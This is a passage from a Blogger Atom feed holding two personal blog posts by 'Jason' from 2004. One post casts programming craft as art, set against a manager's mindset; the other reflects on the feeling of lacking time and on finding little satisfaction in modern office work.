it's a source of personal pride.&lt;br /&gt;My hand is involved in the architecture, so it had better be done right, because to do anything less is insulting to my craftsmanship and ability, not to mention a waste of my talent.&lt;br /&gt;&lt;br /&gt;My coworker will never get that, because in his position there's not a burning passion to do things because doing it right is a thing of beauty. It's all about buzzwords, bottom lines, and 'strategic partnerships'.&lt;br /&gt;&lt;br /&gt;At his level, it's all about who you know, and which people you do and don't piss off. Anything you need beyond that you get from skimming the headlines of trade mags.&lt;br /&gt;&lt;br /&gt;That's why geeks and management don't understand each other.&lt;br /&gt;&lt;br /&gt;It's the same reason that an advertising exec can't understand how an artist could spend tons of money on supplies so that they can go sit on a street in the middle of a city, and spend hours, or even days, creating a huge chalk mural which will be washed away in less than a week.&lt;br /&gt;&lt;br /&gt;It's not about the money. (or in my case, the company and/or my loyalty to it).&lt;br /&gt;It's about the art.&lt;br /&gt;&lt;br /&gt;Maybe you already knew that, but I just figured it out&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-111584009361832855?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/111584009361832855/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2004/10/on-being-artist.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/111584009361832855'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/111584009361832855'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2004/10/on-being-artist.html' title='On Being An Artist'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-12824632.post-111584048821973690</id><published>2004-06-22T02:07:00.001-04:00</published><updated>2010-03-04T10:40:27.493-05:00</updated><title type='text'>Is It Just Me?</title><content type='html'>Time sucks.&lt;br /&gt;&lt;br /&gt;Rather, the lack thereof does.&lt;br /&gt;Actually, what I should say is, the “apparent” lack thereof.&lt;br /&gt;&lt;br /&gt;We all complain about how little time we have, but I think we’re mistaken. I believe that when we say “I don’t have enough time”, we actually mean to say “I don’t have enough time to do what I want to do”, or “There’s never any time for me.”&lt;br /&gt;&lt;br /&gt;At least, I do.&lt;br /&gt;&lt;br /&gt;For me there simply is not enough time to do what I want. So, I’ve been wondering lately: why is that? And, is that a bad thing? I wonder if people a thousand years ago (or so) felt as though they didn't have enough time, or if it’s a relatively new social phenomenon?&lt;br /&gt;&lt;br /&gt;As I considered those questions, I was surprised to find that the answers to them are fairly complex.&lt;br /&gt;&lt;br /&gt;Let’s start with the problem. In this case, the issue is that I do not have enough time to do what I want to do. Note that I use the phrase "do what I want to do", and not "do what I need to do".&lt;br /&gt;&lt;br /&gt;I've been thinking about that difference quite a bit lately.&lt;br /&gt;&lt;br /&gt;I wonder if the "good old days" seem so much simpler to us because we have an impression of that time as one where folks simply did what they had to do, and not much more than that. We contrast that to our modern society, which has us all scrambling like rats trying to get a bunch of random crap out of the way, and it seems simpler.&lt;br /&gt;&lt;br /&gt;At what point did we move from purposeful tasks, to scrambling?&lt;br /&gt;&lt;br /&gt;Life a thousand years ago was certainly harder in some ways. Travel was slow and painful, and just getting the basic, life sustaining, tasks accomplished was a tedious, drawn out process. Certainly we have it better than that.&lt;br /&gt;&lt;br /&gt;However, because it was so difficult, at the end of the day, you knew what you had accomplished. You knew it, because you had food to eat that night; You knew it, because the horses, or cattle, or chickens were in the barn, happily fed and falling asleep. (Everyone was a farmer back then, we all know that!)&lt;br /&gt;&lt;br /&gt;You knew it, because there was freshly chopped wood to burn, that would help take the edge off the crisp autumn air. What’s more, you had time to appreciate things like the crisp autumn air, and the warmth of a nice fire back then.&lt;br /&gt;&lt;br /&gt;That’s because life wasn't about "where do I need to be after I leave this place I’m at now; and when can I get out of here anyway?” the way it is now.&lt;br /&gt;&lt;br /&gt;Life was hard, but because it was hard, I think folks cared more about it.&lt;br /&gt;&lt;br /&gt;I think there's something satisfying in toiling for the things we need that is missing from our society today. I think our comfort has caused us to lose our sense of purpose. And I think because we have lost that, we are doomed to be miserable.&lt;br /&gt;&lt;br /&gt;I also think that because we don’t really have to think too much about how we are going to live, we become more concerned with what we want, and miss out on taking joy in having our basic needs met.&lt;br /&gt;&lt;br /&gt;Often, we choose instead to view doing those things we really need to do (getting food, keeping our living spaces clean, etc.) as a burden.&lt;br /&gt;&lt;br /&gt;Why do we see them as a burden?&lt;br /&gt;Because they prevent us from fulfilling our wants of course.&lt;br /&gt;This is a mistake I think, but we do it anyway, and I’m no different.&lt;br /&gt;&lt;br /&gt;Think about what you do for a living. &lt;br /&gt;&lt;br /&gt;I work in an office. At the end of the day, do I know what I’ve accomplished?&lt;br /&gt;Not really.&lt;br /&gt;&lt;br /&gt;I know I put in my time, so I’ll get a paycheck at some point. And I know that I will be able to go to the store and buy some food because of that. That is how society works today (in the US anyway). I don't need to grow my own food, I just need to be able to buy it. And that’s fine, I certainly would rather buy my food, but what did I really do?&lt;br /&gt;&lt;br /&gt;I think we (the people) are generally miserable, and I think the reason for that is simple: We get no satisfaction out of the things we're doing because we have no idea what we're really accomplishing by doing them.&lt;br /&gt;&lt;br /&gt;Don't get me wrong here; I like what I do for a living.&lt;br /&gt;I like it so much that I do it between 12 and 20 hours a day (depending on how shiny the new technology I’m playing with is.)&lt;br /&gt;&lt;br /&gt;However, it is ultimately not satisfying.&lt;br /&gt;Not in the “I worked hard, and here’s the results” way of the past.&lt;br /&gt;Something inside me needs more than this.&lt;br /&gt;Something inside all of us does, I think.&lt;br /&gt;&lt;br /&gt;We're ignoring those promptings that are telling us we need more than a paycheck coming in to be content, and I think we're doing it to our peril. How long can a society that is unhappy exist before things start to break down?&lt;br /&gt;&lt;br /&gt;I think we're going to find out fairly soon.&lt;br /&gt;&lt;br /&gt;Then again, I could just be in a bad mood, because I don't have enough time to do what I really want to do...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/12824632-111584048821973690?l=cruft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cruft.blogspot.com/feeds/111584048821973690/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cruft.blogspot.com/2004/06/is-it-just-me.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/111584048821973690'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/12824632/posts/default/111584048821973690'/><link rel='alternate' type='text/html' href='http://cruft.blogspot.com/2004/06/is-it-just-me.html' title='Is It Just Me?'/><author><name>Jason</name><uri>http://www.blogger.com/profile/17183000294901234717</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='19' height='32' src='http://1.bp.blogspot.com/_YWhkVQJDZyw/S3L3sMv0fRI/AAAAAAAAAmQ/pfD62P_6CRU/S220/mr_grumpy.png'/></author><thr:total>1</thr:total></entry></feed>
